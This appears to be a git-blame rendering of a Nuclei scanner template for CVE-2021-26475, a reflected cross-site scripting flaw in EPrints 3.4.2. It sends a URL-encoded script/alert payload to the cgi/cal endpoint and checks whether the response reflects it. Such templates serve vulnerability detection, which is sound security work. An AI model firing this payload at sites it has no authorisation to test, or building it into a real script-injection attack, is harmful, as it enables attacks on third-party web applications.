2021-07-19 13:34:21 +00:00
|
|
|
id: CVE-2021-26475
|
|
|
|
|
|
|
|
info:
|
2022-08-29 13:55:23 +00:00
|
|
|
name: EPrints 3.4.2 - Cross-Site Scripting
|
2021-07-19 13:34:21 +00:00
|
|
|
author: geeknik
|
|
|
|
severity: medium
|
2022-08-29 13:55:23 +00:00
|
|
|
description: EPrints 3.4.2 contains a reflected cross-site scripting vulnerability via the cgi/cal URI.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/grymer/CVE/blob/master/eprints_security_review.pdf
|
2022-05-17 09:18:12 +00:00
|
|
|
- https://files.eprints.org/2548/
|
2022-08-29 13:55:23 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-26475
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 6.1
|
2021-09-10 11:26:40 +00:00
|
|
|
cve-id: CVE-2021-26475
|
|
|
|
cwe-id: CWE-79
|
2022-04-22 10:38:41 +00:00
|
|
|
tags: cve,cve2021,xss,eprints
|
2021-07-19 13:34:21 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/cgi/cal?year=2021%3C/title%3E%3Cscript%3Ealert(%27{{randstr}}%27)%3C/script%3E"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "</title><script>alert('{{randstr}}')</script>"
|
2022-07-05 03:38:54 +00:00
|
|
|
|
2021-07-19 13:34:21 +00:00
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|
2022-07-05 03:38:54 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2022-08-29 13:55:23 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2022/08/28
|